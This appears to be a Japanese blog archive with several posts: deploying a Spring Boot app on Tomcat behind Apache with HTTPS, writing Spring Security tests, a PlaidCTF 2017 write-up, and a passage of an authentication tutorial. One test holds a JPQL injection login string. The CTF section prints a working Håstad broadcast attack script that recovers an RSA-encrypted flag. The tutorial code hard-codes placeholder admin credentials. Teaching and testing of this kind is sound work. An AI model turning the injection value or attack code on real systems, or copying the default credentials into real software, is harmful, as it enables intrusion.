TomcatとApache HTTP ServerでSpring Bootアプリケーションをデプロイしてみる

「Spring Securityでユーザ認証を実装してみる」では、Spring Securityで簡単なユーザ認証を実装した。 ここでは、UbuntuサーバにTomcatをインストールし、作成したアプリケーションをデプロイしてみる。 また、Apache HTTP Serverをインストールし、アプリケーションをHTTPSで配信してみる。

環境

Ubuntu 16.04.2 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.2 LTS
Release:        16.04
Codename:       xenial

Tomcatのインストール

まず、Tomcat本体とTomcat Managerをインストールする。

$ sudo apt install tomcat8 tomcat8-admin

インストールが終わったら、Tomcat Managerへのアクセスを有効にするため、ユーザを作成する。 ここで、ユーザ名・パスワードは推測不可能なものに変えておくこと。

$ sudo vi /etc/tomcat8/tomcat-users.xml
(snip)
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="USERNAME" password="PASSWORD" roles="manager-gui,admin-gui"/>
</tomcat-users>

Tomcatサーバを再起動し、設定を反映させる。

$ sudo systemctl restart tomcat8

ブラウザから http://localhost:8080/ を開き、Tomcatのデフォルトページが表示されることを確認する。 また、http://localhost:8080/manager/html に設定したユーザ名・パスワードでアクセスし、Tomcat Managerが表示されることを確認する。

WARファイルをデプロイしてみる

Tomcatがインストールできたので、Tomcat ManagerからWARファイルをデプロイしてみる。

まず、「Spring Bootで簡単なWebアプリケーションを書いてみる」で説明した手順に従い、アプリケーションのWARファイルを作成する。

Tomcatでは、WARファイルのファイル名は パス名 + "##" + バージョン番号 + ".war" という命名規約に従って扱われる。 なお、配置するパスが / の場合はパス名を ROOT とする。 また、バージョン番号の比較は単純な文字列比較で行われるため、ゼロパディングすることが推奨されている。

配置するパスを /、バージョン番号を 001 とし、作成したWARファイルを ROOT##001.war にリネームする。 これを、Tomcat Managerからファイルアップロードし、デプロイする。

f:id:inaz2:20170424195008p:plain

アップロードが完了した後、http://localhost:8080/ にアクセスすると、デプロイしたアプリケーションが表示される。

アプリケーションを更新する際には、パス名をそのままに、バージョン番号の数字を上げたWARファイルを新たにデプロイする。 これにより、古いバージョンに接続しているセッションはそのままに、新規セッションが新バージョンに接続される(Parallel Deployment)。 ただし、同時に複数バージョンのアプリケーションを動作させることになるため、メモリ使用量に注意が必要である。

Apache HTTP Serverと連携してHTTPS対応してみる

Tomcatは簡易HTTPサーバとしても機能するが、パフォーマンスの観点からApache HTTP Server(以下Apache)と連携させて使うことが多い。 そこで、Apacheをインストールし、HTTPSでアプリケーションを配信してみる。 なお、HTTPの場合もSSLに関連する部分を除いて同様に行えばよい。

まず、TomcatAJPコネクタを有効にする。 具体的には、下記の箇所のコメントを外す。

$ sudo vi /etc/tomcat8/server.xml
    <!-- Define an AJP 1.3 Connector on port 8009 -->
    <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

Tomcatを再起動し、設定を反映させる。

$ sudo service tomcat8 restart

次に、Apacheをインストールし、proxy_ajpモジュールとsslモジュールを有効にする。

$ sudo apt install apache2

$ sudo a2enmod proxy_ajp ssl

default-sslをベースに、サイト設定ファイルを作成する。 具体的には、DocumentRootをコメントアウトし、ProxyPassを追記する。

$ sudo cp /etc/apache2/sites-available/{default-ssl,tomcat-ssl}.conf

$ sudo vi /etc/apache2/sites-available/tomcat-ssl.conf
                #DocumentRoot /var/www/html
                ProxyPass / ajp://localhost:8009/

作成したサイト設定を有効にし、Apacheを再起動する。

$ sudo a2ensite tomcat-ssl

$ sudo service apache2 restart

ブラウザから https://localhost/ にアクセスすると、HTTPSでアプリケーションにアクセスできることが確認できる。

f:id:inaz2:20170424193527p:plain

さらに、curlコマンドでレスポンスヘッダを確認してみると次のようになる。

$ curl -v --insecure https://localhost/login
(snip)
> GET /login HTTP/1.1
> Host: localhost
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 24 Apr 2017 07:56:29 GMT
< Server: Apache/2.4.18 (Ubuntu)
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: 0
< Strict-Transport-Security: max-age=31536000 ; includeSubDomains
< X-Frame-Options: DENY
< Set-Cookie: JSESSIONID=E49A71C1D34D08184F23B1BF59483BB1; Path=/; Secure; HttpOnly
< Content-Type: text/html;charset=UTF-8
< Content-Language: en-US
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
<
(snip)

上の結果から、Spring SecurityによりStrict-Transport-SecurityヘッダおよびCookieのSecure属性が付与されていることが確認できる。

あとは、通常のApacheと同様に、SSL証明書やログの設定を行えばよい。

実行可能jarとnginxによるデプロイ

Spring Bootでは従来のWARファイルによるデプロイの他に、組み込みtomcatを用いた実行可能jarによるデプロイも可能である。 最近ではTwelve-Factor Appの観点から、実行可能jarとして起動したアプリケーションをnginxで振り分ける方法が好まれることもある。 詳しくは、下記のページを参照。

関連リンク

Spring Bootでテストを書いてみる

「Spring Securityでユーザ認証を実装してみる」では、Spring Securityで簡単なユーザ認証を実装した。 ここでは作成したアプリケーションについて、認証処理の挙動に関するテストコードを記述してみる。

環境

Windows 10 Pro、Java SE 8、Spring Framework 4.3.7.RELEASE(Spring Boot 1.5.2.RELEASE)

>systeminfo
OS 名:                  Microsoft Windows 10 Pro
OS バージョン:          10.0.14393 N/A ビルド 14393
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz

>java -version
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)

spring-securty-testを依存ライブラリに追加する

Spring Bootの場合、テスト用ライブラリが標準で含まれている。 しかし、Spring Securityを使う場合は、CSRFトークン付きのPOSTや認証状態のセットを行うためにspring-security-testを依存ライブラリに追加する必要がある。

MavenのCentral Repositoryを検索すると、spring-security-testの最新版が4.2.2.RELEASEであることがわかる。

プロジェクトにspring-security-test 4.2.2.RELEASEを追加するには次のようにする。

  • 「demo [boot]」を右クリックして、「Maven」→「Add Dependency」を選択
  • ダイアログの各フィールドに以下の文字列を入力してOK
    • GroupId: org.springframework.security
    • ArtifactId: spring-security-test
    • Version: 4.2.2.RELEASE

簡単なテストコードを書いてみる

Spring Bootでは、JUnitを用いてテストを記述する。 また、テストコードはsrc/test/java以下で管理する。

実際にテストコードを書いてみると次のようになる。

  • src/test/java/com.example/AuthControllerTests.java
package com.example;

import static org.hamcrest.CoreMatchers.containsString;
import static org.springframework.security.test.web.servlet.request.SecurityMockMvcRequestPostProcessors.anonymous;
import static org.springframework.security.test.web.servlet.request.SecurityMockMvcRequestPostProcessors.csrf;
import static org.springframework.security.test.web.servlet.request.SecurityMockMvcRequestPostProcessors.user;
import static org.springframework.security.test.web.servlet.setup.SecurityMockMvcConfigurers.springSecurity;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.redirectedUrl;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.view;

import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.web.context.WebApplicationContext;

@RunWith(SpringRunner.class)
@SpringBootTest
@AutoConfigureMockMvc
@Transactional
public class AuthControllerTests {

    @Autowired
    private WebApplicationContext context;

    private MockMvc mvc;

    @Autowired
    private UserService userService;

    @Before
    public void setup() {
        mvc = MockMvcBuilders
                .webAppContextSetup(context)
                .apply(springSecurity())
                .build();

        userService.registerUser("testuser", "iamatestuser", "testuser@localhost");
    }

    @Test
    public void shouldAnonymousBeRedirected() throws Exception {
        this.mvc.perform(get("/messages").with(anonymous()))
                .andExpect(status().isFound())
                .andExpect(redirectedUrl("http://localhost/login"));
    }

    @Test
    public void shouldNewUserBeAbleToSignupAndLogin() throws Exception {
        this.mvc.perform(post("/signup").with(csrf())
                                        .param("username", "testuser2")
                                        .param("password", "iamatestuser")
                                        .param("mailAddress", "testuser2@localhost"))
                .andExpect(status().isFound())
                .andExpect(redirectedUrl("/messages"));

        this.mvc.perform(post("/login").with(csrf())
                .param("username", "testuser2")
                .param("password", "iamatestuser"))
                .andExpect(status().isFound())
                .andExpect(redirectedUrl("/"));

        this.mvc.perform(get("/messages").with(user("testuser2")))
                .andExpect(status().isOk())
                .andExpect(view().name("messages"));
    }

    @Test
    public void shouldSignupWithDuplicateUsernameFail() throws Exception {
        this.mvc.perform(post("/signup").with(csrf())
                                        .param("username", "testuser")
                                        .param("password", "duplicateusername")
                                        .param("mailAddress", "foobar@localhost"))
                .andExpect(status().isOk())
                .andExpect(content().string(containsString("already used")));
    }

    @Test
    public void shouldSignupWithDuplicateMailAddressFail() throws Exception {
        this.mvc.perform(post("/signup").with(csrf())
                                        .param("username", "testuser2")
                                        .param("password", "duplicatemailaddress")
                                        .param("mailAddress", "testuser@localhost"))
                .andExpect(status().isOk())
                .andExpect(content().string(containsString("already used")));
    }

    @Test
    public void shouldLoginWithNonExistUserFail() throws Exception {
        this.mvc.perform(post("/login").with(csrf())
                                       .param("username", "nonexistuser")
                                       .param("password", "iamatestuser"))
                .andExpect(status().isFound())
                .andExpect(redirectedUrl("/login-error"));
    }

    @Test
    public void shouldLoginWithWrongPasswordFail() throws Exception {
        this.mvc.perform(post("/login").with(csrf())
                                       .param("username", "testuser")
                                       .param("password", "wrongpassword"))
                .andExpect(status().isFound())
                .andExpect(redirectedUrl("/login-error"));
    }

    @Test
    public void shouldLoginWithJPQLInjectionFail() throws Exception {
        this.mvc.perform(post("/login").with(csrf())
                                       .param("username", "testuser' OR ''='")
                                       .param("password", "jpqlinjection"))
                .andExpect(status().isFound())
                .andExpect(redirectedUrl("/login-error"));
    }

}

上のコードでは、次のような内容をテストしている。

  • shouldAnonymousBeRedirected(): 非ログインユーザがログイン画面にリダイレクトされること
  • shouldNewUserBeAbleToSignupAndLogin(): 新規ユーザがアカウント登録・ログインできること
  • shouldSignupWithDuplicateUsernameFail(): すでに存在するユーザ名でのアカウント登録が失敗すること
  • shouldSignupWithDuplicateMailAddressFail(): すでに存在するメールアドレスでのアカウント登録が失敗すること
  • shouldLoginWithNonExistUserFail(): 存在しないユーザ名でのログインが失敗すること
  • shouldLoginWithWrongPasswordFail(): 誤ったパスワードでのログインが失敗すること
  • shouldLoginWithJPQLInjectionFail(): JPQL injection攻撃による不正ログインが失敗すること

MockMvcを用いることで、エンドポイントへのリクエストとそれに対するレスポンスをテストすることができる。 @Beforeはすべてのテストメソッド(@Test)の前に実行される。 また、@Afterが存在する場合はすべてのテストメソッドの後に実行される。

また、クラスに@Transactionalをつけることで、@Before、@Test、@Afterのサイクルが終わるたびにDBへの変更がrollbackされる。 テスト中でDBへの変更が加えられるような場合、指定しておくとよい。

Annotating a test method with @Transactional causes the test to be run within a transaction that will, by default, be automatically rolled back after completion of the test. If a test class is annotated with @Transactional, each test method within that class hierarchy will be run within a transaction.

テストを実行してみる

テストを実行するには次のようにする。

  • 「demo [boot]」を右クリックして「Run As」→「4 JUnit Test」を選択

実行すると、右下のペインにJUnitのテスト結果が表示される。

f:id:inaz2:20170424192354p:plain

関連リンク

PlaidCTF 2017 供養(Writeup)

PlaidCTF 2017に参加。236ptで182位。

sanity check (Misc 1)

The flag is PCTF{poop}

logarithms are hard (Misc 10)

What is e1.000000001?

Please enter in decimal with 7 places. (For example, if the answer was 2.71828183… the flag would be 2.7182818 )

普通に計算すると2.7182818になるが、通らない。

$ gp -q
? exp(1.000000001)
2.7182818311773270651784736213955195583

過去の問題にならい、対数に関するバグについて調べてみると、関数電卓TI-35Xのバグについて書かれているページが見つかった。

関数電卓TI-30X/TI-36X SOLARで計算される値を答えたところ、通った。

2.7191928

zipper (Misc 50)

壊れているzipファイルが与えられる。

$ unzip zipper_50d3dc76dcdfa047178f5a1c19a52118.zip
Archive:  zipper_50d3dc76dcdfa047178f5a1c19a52118.zip
warning:  filename too long--truncating.
:  bad extra field length (central)

データがdeflateで圧縮されているものと仮定し、1バイトずつずらしながら展開を試みるとフラグが得られた。

import zlib

with open('zipper_50d3dc76dcdfa047178f5a1c19a52118.zip') as f:
    data = f.read()

for i in xrange(len(data)):
    print hex(i)
    chunk = data[i:]
    try:
        print zlib.decompress(chunk, -15)
    except zlib.error as e:
        pass
$ python test.py
0x0
0x1
f
0x2

(snip)
0x42


Huzzah, you have captured the flag:
PCTF{f0rens1cs_yay}




(snip)
0xea
0xeb

Multicast (Crypto 175)

RSA。 generate.sageを読むと、mを512bitの整数として、ai, bi, ci, niを5組出力しており、これがdata.txtとして与えられている。

nbits = 1024
e = 5
flag = open("flag.txt").read().strip()
assert len(flag) <= 64
m = Integer(int(flag.encode('hex'),16))
out = open("data.txt","w")

for i in range(e):
    (snip)
    mi = ai*m + bi
    ci = pow(mi, e, ni)
    (snip)

一般化されたHåstad’s broadcast attackで解ける。

a1 = 69083553146183344839772978505267712546348345951915552104934666999364893606414967631473531356169090286677897220956536147203986323670778671853966574104550916190831974039291113434428713226539656233005536401237618731903013444912424490954403050283261443145833828774338405850464149745370010921929208582803372719662
b1 = 1847353606880715823527099792264841437499256859046112182901817731898583109812226034453486290034759426343181112477498401843027934563915568068662901070357638240406212287869791959600724393823543974271939728800168160170264361943043888105413027223078955278440961637038127459036967868261370295558665462738851664674
c1 = 13924397671629169794872532654354896735104301636897981275021597449713744312702850679542667853889775700566291452624971794825605462609659305736119167763171202028684488729179106128850062049316631850373987498751231054904292395688010798166991604433834113228237987911867991301264314792383410544657232986272138720776
n1 = 107176667955056054888106289112863406099193890480114548290390156586316295797860714447523894766296345238663487884525751440074160698573876676529510120482633305843604033670838833224316621039974842663423971964367617383524243164757298543267528648455662196669719411550337416706436014652957797379123891565563380621721
a2 = 27025595670607123748133955387986761928986723842407963667833744851457582823949409825451502999363014637018266381381800334740959357732693327871649715849440610655814448606276225985636706847320729571129651265791968308846145775455134446011658371731137714821594128627843120134392299295278193619998726010683820300906
b2 = 76626521446699164152465241536023395842467420530412705255543098462161399927889232797875074266701010280661667851769988806969262190694662659916308198862288454347865777843483804317714263754964326435968683758707252482706186266157923587034286069745922345373717550980870551177895535541280767243258161167226140529179
c2 = 74820001900443652318294067181707795319993357148314983190736617977547527951708569170206478241294503335669164830735894900549009883421968340647253048091278584463455833751347773269310148496440204410893225151858930449694234125324321395015257722229646579662704510552084383728048226410232141635889320648460673299335
n2 = 116940935524323795130742526994657925027084667081524402264947741484054748546876541534619667289853985612350852220069194599338546449074832255593771931123087798582432365325897386813589970457955530817464044545954375253380129491859158211405510009895941963611340400391118219478974834168088677930751757315159110921841
a3 = 3004029671513060545517047598385797934912754972599429487078366757715733246340760740484289209221138121568405251845847578856114711659946228365274190780159966913357682874178318970562635144717761245951754408952773122354583612422645258507146795630561366955268226048296864853067903656400207186949463324893914485565
b3 = 39916349286626463801197107509708900778499859478703695888378041406302001988773262878930035955207487249221227735861868182215434820807844055889132141226547303138247159556705455695270756436706739886462479337109843197568024375533105139465029460850504284879314129902197486373473299170494478698741715992027042335920
c3 = 14108999386222915459940913638433135402751523880380098398237968303803785854582535395117824943688282642164021530817702254201291805032640778641839809162886268856556652703619578965302291774447936003759868066323907388148146727752981125365333046242305065445858381847752308536916145502431706840471314490470498925933
n3 = 100668102943542293762890526110731145470895119442621421158649868631915746146377966542031367735374167457406299434355768725246104804285632863373024153609404762902208230939718098090168262799174612923680636870557478441319366190063047687786785211877198536555745316733683533528849562416675658775836498023052914901749
a4 = 42305211872257990504112591982462712826623117527580306258621876854892728665082535381823460722212076449810881809439537932537619270097066694079814712136330261508201872405339882571623217945205024525421229411985020496914748229102523658456972139082089291624782533401385935487411288676903751198610145921301518231107
b4 = 37927948227203538741746385301195518552457676697015260677758470292294745311488915679784285945487731017142600921756814455642818173556814139042013977633776585763163271296255014647248684364947573160457459801483696377003575286309739820627536302900476424058673287304085337544422656511271366685116274814463373028939
c4 = 29808378278310626950656040722768610557513777159495566134112105939237344988328390169388824486265334935284692186547128505302437631500267072936205473588904993250984366335171085215776781494184026623681600861765081754836053424849422843633084928107942855476866942904060229897408614881375916806167293356422910088562
n4 = 80450031402201203587730534009338660865222026164984422981250298135548464160260574889923232542563882168618899594606271070764435488631855210441010916420059803623249294290301484880522559794167514055495411717729597100446344174893389277795663285345593590647340104666332031316803275436638414115193469755829893511487
a5 = 35798442949372217448131245718267683892608947365147471016957781854054771928382329233065506241624702265207177594187978141208820788381204095301540789196845409818326829309725267401115274448449544207730582441399296587733377747658506089439891602945020732454221665678849354836056443444544603686977883511757122333808
b5 = 15148604454321045616017299717211628700774278430049633748723698755621714384646643282913626328387905917563070000934175316190944226369346680779250458706206743862204417104832969982264440206554850551723416393459529398494316425018200651517022177685036277113534264161058597282135279496222169055121895473052233762246
c5 = 90847039947327313643774540191254303763104502856236195148227169238729840332433440088244863054796973078431673232305152421572163200464861625035107176753552370732936207870756803675490237581973525804663863823181351604257906567409397759543713937699041851977124940235865938476195092603195522703292454934101412022811
n5 = 93862849424043561789940054837392625966883465717813492561917969675964529083848723311514364070936115132154848096497003118110036719543385624344289211314373383330520240583297483284951457880437389550791045654411987778690675595035123064122359417085803319134114455113012761800931917960807358624095094896528184569953

e = 5
n = n1*n2*n3*n4*n5
t1 = crt([1,0,0,0,0], [n1,n2,n3,n4,n5])
t2 = crt([0,1,0,0,0], [n1,n2,n3,n4,n5])
t3 = crt([0,0,1,0,0], [n1,n2,n3,n4,n5])
t4 = crt([0,0,0,1,0], [n1,n2,n3,n4,n5])
t5 = crt([0,0,0,0,1], [n1,n2,n3,n4,n5])

PR.<x> = PolynomialRing(Zmod(n))
g1 = (a1*x + b1)^e - c1
g2 = (a2*x + b2)^e - c2
g3 = (a3*x + b3)^e - c3
g4 = (a4*x + b4)^e - c4
g5 = (a5*x + b5)^e - c5

g = 1*t1*g1 + 2*t2*g2 + 3*t3*g3 + 4*t4*g4 + 5*t5*g5
g = g.monic()

kbits = 64*8
x = g.small_roots(X=2^kbits, beta=1)[0]

print hex(long(x))[2:-1].decode('hex')
sage@vm-ubuntu64:~$ sage test.sage
PCTF{L1ne4r_P4dd1ng_w0nt_s4ve_Y0u_fr0m_H4s7ad!}

所感

他に解きたかった問題は以下。

  • no_mo_flo (Reversing 125)
  • Echo (Web 200)
  • Pykemon (Web 151)
  • bigpicture (Pwnable 200)

Spring Securityでユーザ認証を実装してみる

「Spring Bootで簡単なWebアプリケーションを書いてみる」では、Spring Bootで簡単なWebアプリケーションを書いた。 ここでは作成したアプリケーションをベースに、Spring Securityを使ってユーザ認証を実装してみる。

環境

Windows 10 Pro、Java SE 8、Spring Framework 4.3.7.RELEASE(Spring Boot 1.5.2.RELEASE)

>systeminfo
OS 名:                  Microsoft Windows 10 Pro
OS バージョン:          10.0.14393 N/A ビルド 14393
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz

>java -version
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)

Spring Securityを依存ライブラリに追加する

Spring Securityは、認証・認可を中心に、各種HTTPセキュリティヘッダやCSRF対策を含めたセキュリティ機能を提供するライブラリである。

Hello Spring Security with Bootを参考に、以下の三つのライブラリをプロジェクトの依存ライブラリに追加する。

  • spring-security-web
    • groupId: org.springframework.security
    • artifactId: spring-security-web
    • version: 4.2.2.RELEASE
  • spring-security-config
    • groupId: org.springframework.security
    • artifactId: spring-security-config
    • version: 4.2.2.RELEASE
  • thymeleaf-extras-springsecurity4
    • groupId: org.thymeleaf.extras
    • artifactId: thymeleaf-extras-springsecurity4
    • version: 2.1.2.RELEASE

依存ライブラリの追加は次のように行う。

  • 「demo [boot]」を右クリックして、「Maven」→「Add Dependency」を選択
  • ダイアログの各フィールドを入力してOK

Spring Securityを有効にする

まず、Spring Securityの設定を行うWebSecurityConfigクラスを作成する。 ここでは、パッケージ名をcom.example.configに分けることにする。

  • src/main/java/com.example.config/WebSecurityConfig.java
package com.example.config;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;

@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .authorizeRequests()
                .antMatchers("/", "/login", "/login-error").permitAll()
                .antMatchers("/**").hasRole("USER")
                .and()
            .formLogin()
                .loginPage("/login").failureUrl("/login-error");
    }

    @Autowired
    public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
        auth
            .inMemoryAuthentication()
                .withUser("user").password("password").roles("USER");
    }

}

次に、認証関係のエンドポイントを実装するControllerを作る。 ついでに、/にアクセスした際は認証後の適当なページにリダクレクトするようにする。

  • src/main/java/com.example/AuthController.java
package com.example;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class AuthController {

    @RequestMapping("/")
    public String index() {
        return "redirect:/messages";
    }

    @GetMapping("/login")
    public String login() {
        return "login";
    }

    @PostMapping("/login")
    public String loginPost() {
        return "redirect:/login-error";
    }

    @GetMapping("/login-error")
    public String loginError(Model model) {
        model.addAttribute("loginError", true);
        return "login";
    }

}

続けて、ログインページのテンプレートファイルを作る。

  • src/main/resources/templates/login.html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="utf-8" />
<title>Login page</title>
</head>
<body>
<h1>Login page</h1>

<p>Example user: user / password</p>

<form th:action="@{/login}" method="post">
    <p th:if="${loginError}"><em>Username or password is wrong.</em></p>
    <p><label for="username">Username</label>:
       <input type="text" id="username" name="username" autofocus="autofocus" /></p>
    <p><label for="password">Password</label>:
       <input type="password" id="password" name="password" /></p>
    <p><input type="submit" value="Log in" /></p>
</form>

<p><a th:href="@{/signup}">Sign up</a></p>

<p><a th:href="@{/}">Back to index</a></p>
</body>
</html>

ここでは、あとで実装する新規登録ページへのリンクも記述している。

最後に、ログイン後のページで認証情報を表示するように変更する。

  • src/main/resources/templates/messages.html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org"
      xmlns:sec="http://www.thymeleaf.org/thymeleaf-extras-springsecurity4">
<head>
<meta charset="UTF-8" />
<title>Hello, Spring Boot!</title>
</head>
<body>
<h1>Hello, Spring Boot!</h1>

<div th:fragment="logout" sec:authorize="isAuthenticated()">
    <p>Login as: <span sec:authentication="name"></span> <span sec:authentication="principal.authorities"></span></p>
    <form action="#" th:action="@{/logout}" method="post">
        <input type="submit" value="Logout" />
    </form>
</div>

(snip)

ユーザ認証が有効になっていることを確認してみる

アプリケーションを起動し、ブラウザで http://localhost:8080/messages にアクセスすると作成したログインページにリダイレクトされる。 ここで、ハードコードした認証情報を入力してログインした後のスクリーンショットを次に示す。

f:id:inaz2:20170411013127p:plain

ログインユーザのユーザ名とロールが表示されていることが確認できる。

curlコマンドを使ってアクセスしてみると次のようになる。

$ curl -vL http://localhost:8080/messages
(snip)
> GET /messages HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.52.1
> Accept: */*
>
(snip)
< HTTP/1.1 302
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: 0
< X-Frame-Options: DENY
< Set-Cookie: JSESSIONID=EF42809C6B5C0F4776B475AE64DFB530;path=/;HttpOnly
< Location: http://localhost:8080/login
< Content-Length: 0
< Date: Wed, 12 Apr 2017 05:02:50 GMT
<
(snip)
> GET /login HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.52.1
> Accept: */*
>
(snip)
< HTTP/1.1 200
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: 0
< X-Frame-Options: DENY
< Set-Cookie: JSESSIONID=5199D5F5515BA8D428C2E2376ACEF95B;path=/;HttpOnly
< Content-Type: text/html;charset=UTF-8
< Content-Language: ja-JP
< Transfer-Encoding: chunked
< Date: Wed, 12 Apr 2017 05:02:50 GMT
<
<!DOCTYPE html>

<html>
<head>
<meta charset="utf-8" />
<title>Login page</title>
</head>
<body>
<h1>Login page</h1>

<p>Example user: user / password</p>

<form method="post" action="/login">

    <p><label for="username">Username</label>:
       <input type="text" id="username" name="username" autofocus="autofocus" /></p>
    <p><label for="password">Password</label>:
       <input type="password" id="password" name="password" /></p>
    <p><input type="submit" value="Log in" />
       <a href="/recovery/">Forgot password?</a></p>
<input type="hidden" name="_csrf" value="8d46d6f8-8ae5-4d89-805e-7cbb1cac8185" /></form>

<p><a href="/signup">Sign up</a></p>

<p><a href="/">Back to index</a></p>
</body>
</html>
(snip)

レスポンスから、以下のセキュリティ機能が有効になっていることがわかる。

  • X-Content-Type-Options: nosniff
    • IEのコンテントタイプ自動判定を無効にする。HTMLでないレスポンスが意図せずHTMLと判定された結果、信頼できないスクリプトが実行されてしまうことを防ぐ。
  • X-XSS-Protection: 1; mode=block
    • IE/Chrome/SafariXSSフィルタを有効にする。反射型XSSの脅威がブラウザにより緩和される。
  • Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: 0
    • クライアントがキャッシュしないようにする。認証後のコンテンツがクライアント側にキャッシュとして残ることを防ぐ。
  • X-Frame-Options: DENY
    • iframe内では表示されないようにする。クリックジャッキングを防ぐ。
  • Set-Cookie: JSESSIONID=7BFDAA8C20E3C9FCDC7569B879DBB406;path=/;HttpOnly
  • <input type="hidden" name="_csrf" value="7e18728d-d26f-462f-9410-6c1b0d2671a9" />
    • CSRFトークンの付与。攻撃者に誘導されたユーザが意図しないPOSTをしてしまうこと(Cross Site Request Forgery)を防ぐ。

この他にも、Session Fixationを防ぐためのセッションID更新や、HTTPSの場合にはHTTP Strict Transport Security(HSTS)ヘッダの付与が行われる。 個々の詳細については、リファレンスを参照。

DBにユーザ管理テーブルを作る

ハードコードした認証情報でログインできることが確認できたので、DBにユーザ管理テーブルを作り、アカウント作成ができるようにしてみる。 ここでは、Userロールに加えてAdminロールも作り、管理者権限を持ったユーザを作れるようにする。

まず、WebSecurityConfigクラスを変更し、ユーザ認証にUserServiceクラスを使うようにする。 また、パスワードはBCryptでハッシュ化して扱うようにする。

  • src/main/java/com.example.config/WebSecurityConfig.java
package com.example.config;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;

import com.example.User;
import com.example.UserService;

@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {

    @Autowired
    private UserService userService;

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .authorizeRequests()
                .antMatchers("/", "/login", "/login-error").permitAll()
                .antMatchers("/**").hasRole("USER")
                .and()
            .formLogin()
                .loginPage("/login").failureUrl("/login-error");
    }

    @Override
    protected void configure(AuthenticationManagerBuilder auth) throws Exception {
        auth
            .userDetailsService(userService)
            .passwordEncoder(passwordEncoder());

        userService.registerAdmin("admin", "youmustchangethis", "admin@localhost");
    }

    @Bean
    public PasswordEncoder passwordEncoder() {
        return new BCryptPasswordEncoder();
    }

}

passwordEncoderメソッドには@Beanアノテーションをつけ、他のクラスでDependency Injectionできるようにしておく。

次に、UserDetailsインタフェースを実装したEntityクラスを作る。

package com.example;

import java.util.ArrayList;
import java.util.Collection;
import java.util.Date;
import java.util.EnumSet;
import java.util.List;
import java.util.Set;

import javax.persistence.Column;
import javax.persistence.ElementCollection;
import javax.persistence.Entity;
import javax.persistence.EnumType;
import javax.persistence.Enumerated;
import javax.persistence.FetchType;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.PrePersist;
import javax.persistence.Temporal;
import javax.persistence.TemporalType;

import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.UserDetails;

@Entity
public class User implements UserDetails {

    private static final long serialVersionUID = 1L;

    public enum Authority {ROLE_USER, ROLE_ADMIN}

    @Id
